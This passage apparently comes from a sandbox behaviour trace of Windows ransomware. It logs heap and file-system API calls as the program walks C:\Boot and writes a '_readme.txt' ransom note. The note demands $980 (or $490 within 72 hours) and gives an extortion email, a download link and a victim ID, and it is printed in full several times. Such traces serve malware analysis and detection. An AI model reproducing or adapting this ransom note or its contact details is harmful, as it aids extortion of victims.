dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.196] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.196] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.196] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.196] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.196] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.197] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.197] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.197] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.197] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.197] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.197] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.197] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.197] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.197] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.197] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.197] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.197] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.197] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.197] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.197] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.197] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.197] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.197] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.197] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.197] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.197] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.197] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.197] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.197] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.197] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.197] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.197] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.197] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.197] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.197] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.197] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.197] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.197] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.197] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.197] PathFindFileNameW (pszPath="C:\\Boot\\el-GR\\") returned="el-GR\\" [0124.197] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.197] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.197] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.197] PathFindFileNameW (pszPath="") returned="" [0124.197] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.198] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.198] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.198] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.198] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.198] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.198] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.198] PathAppendW (in: pszPath="C:\\Boot\\el-GR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 1 [0124.198] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.198] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.198] PathFileExistsW (pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 0 [0124.198] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x7d00) returned 0x3ae3bf0 [0124.198] lstrcpyW (in: lpString1=0x3ae3bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.198] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.198] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad9168 [0124.198] CreateFileW (lpFileName="C:\\Boot\\el-GR\\_readme.txt" (normalized: "c:\\boot\\el-gr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.199] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad9168 | out: hHeap=0x810000) returned 1 [0124.199] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3bf0 | out: hHeap=0x810000) returned 1 [0124.199] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.199] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.199] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.199] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.199] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.199] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.199] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.199] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.199] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.199] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450228 | out: hHeap=0x810000) returned 1 [0124.199] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450228 [0124.199] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.199] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.199] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.199] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.199] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.199] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.199] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.199] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.199] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.199] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.199] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.199] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.200] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.200] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.200] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.200] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.200] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.200] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.200] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.200] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.200] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.200] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.200] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.200] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.200] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.200] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.200] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.200] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.200] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.200] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.200] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.200] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.200] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.200] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.200] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.200] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.200] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.200] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.200] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.200] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.200] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.200] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.200] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.200] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.200] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.200] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.200] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.200] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.200] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.200] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.200] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.200] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.200] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.200] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.200] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.200] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.201] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.201] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.201] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.201] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.201] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.201] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.201] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.201] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.201] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.201] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.201] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.201] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.201] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.201] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.201] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.201] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.201] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.201] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.201] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.201] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.201] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.201] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.201] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.201] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.201] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.201] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.201] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.201] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.201] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.201] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.201] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.201] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.201] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.201] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.201] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.201] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.201] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.201] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.201] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.201] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.201] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.201] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.201] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.201] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.202] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.202] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.202] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.202] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.202] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.202] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.202] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.202] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.202] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.202] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.202] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.202] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.202] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.202] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.202] HeapFree (in: hHeap=0x810000, 